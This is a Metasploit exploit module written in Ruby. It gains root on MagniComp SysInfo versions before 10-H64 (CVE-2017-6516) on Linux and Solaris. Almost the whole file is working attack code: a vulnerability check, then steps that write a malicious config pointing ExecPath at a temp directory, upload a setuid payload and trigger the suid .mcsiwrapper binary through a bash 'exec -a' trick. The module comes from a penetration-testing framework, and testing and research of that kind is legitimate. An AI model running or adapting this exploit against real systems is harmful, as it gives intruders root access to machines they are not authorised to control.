modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MagniComp SysInfo mcsiwrapper Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on systems running
MagniComp SysInfo versions prior to 10-H64.
The .mcsiwrapper suid executable allows loading a config file using the
'--configfile' argument. The 'ExecPath' config directive is used to set
the executable load path. This module abuses this functionality to set
the load path resulting in execution of arbitrary code as root.
This module has been tested successfully with SysInfo version
10-H63 on Fedora 20 x86_64, 10-H32 on Fedora 27 x86_64, 10-H10 on
Debian 8 x86_64, and 10-GA on Solaris 10u11 x86.
},
'License' => MSF_LICENSE,
'Author' => [
'Daniel Lawson', # Discovery and exploit
'Romain Trouve', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2016-09-23',
'Platform' => %w[linux solaris],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Automatic', {} ],
[ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_X86 } ],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
],
'References' => [
[ 'CVE', '2017-6516' ],
[ 'BID', '96934' ],
[ 'URL', 'http://www.magnicomp.com/support/cve/CVE-2017-6516.shtml' ],
[ 'URL', 'https://labs.mwrinfosecurity.com/advisories/magnicomps-sysinfo-root-setuid-local-privilege-escalation-vulnerability/' ],
[ 'URL', 'https://labs.mwrinfosecurity.com/advisories/multiple-vulnerabilities-in-magnicomps-sysinfo-root-setuid/' ]
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('SYSINFO_DIR', [ true, 'Path to SysInfo directory', '/opt/sysinfo' ]),
])
register_advanced_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def sysinfo_dir
datastore['SYSINFO_DIR']
end
def check
return CheckCode::Safe("Directory '#{sysinfo_dir}' does not exist") unless directory?(sysinfo_dir)
vprint_good "Directory '#{sysinfo_dir}' exists"
mcsiwrapper_path = "#{sysinfo_dir}/bin/.mcsiwrapper"
return CheckCode::Safe("#{mcsiwrapper_path} is not setuid") unless setuid?(mcsiwrapper_path)
vprint_good("#{mcsiwrapper_path} is setuid")
bash_path = cmd_exec('which bash')
return CheckCode::Safe('bash is not installed. Exploitation will fail.') unless bash_path.start_with?('/') && bash_path.include?('bash')
vprint_good('bash is installed')
config_version = cmd_exec("grep ProdVersion= #{sysinfo_dir}/config/mcsysinfo.cfg")
version = config_version.scan(/^ProdVersion=(\d+-H\d+|\d+-GA)$/).flatten.first
return CheckCode::Detected('Could not determine the SysInfo version') if version.blank?
return CheckCode::Safe("SysInfo version #{version} is not vulnerable") if Rex::Version.new(version.sub('-H', '.')) >= Rex::Version.new('10.64')
CheckCode::Appears("SysInfo version #{version} is vulnerable")
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f(path)
write_file(path, data)
register_file_for_cleanup(path)
end
def exploit
# Set target
uname = cmd_exec('uname')
vprint_status("Operating system is #{uname}")
if target.name.eql? 'Automatic'
case uname
when /SunOS/i
my_target = targets[1]
when /Linux/i
my_target = targets[2]
else
fail_with(Failure::NoTarget, 'Unable to automatically select a target')
end
else
my_target = target
end
print_status("Using target: #{my_target.name}")
# Check payload
if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
(my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
fail_with(Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'")
end
# Create a working directory
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
mkdir(base_path)
# Write config file
config_path = "#{base_path}/#{rand_text_alphanumeric(5..10)}"
upload(config_path, "ExecPath=#{base_path}")
# Upload payload
payload_name = rand_text_alphanumeric(5..10)
payload_path = "#{base_path}/#{payload_name}"
upload(payload_path, generate_payload_exe)
cmd_exec("chmod u+sx '#{payload_path}'")
print_status('Executing payload...')
# Executing .mcsiwrapper directly errors:
# Command ".mcsiwrapper" cannot start with `.' or contain `/'.
# Instead, we execute with bash to replace ARGV[0] with the payload file name
output = cmd_exec("bash -c \"exec -a #{payload_name} #{sysinfo_dir}/bin/.mcsiwrapper --configfile #{config_path}&\"")
output.each_line { |line| vprint_status line.chomp }
end
end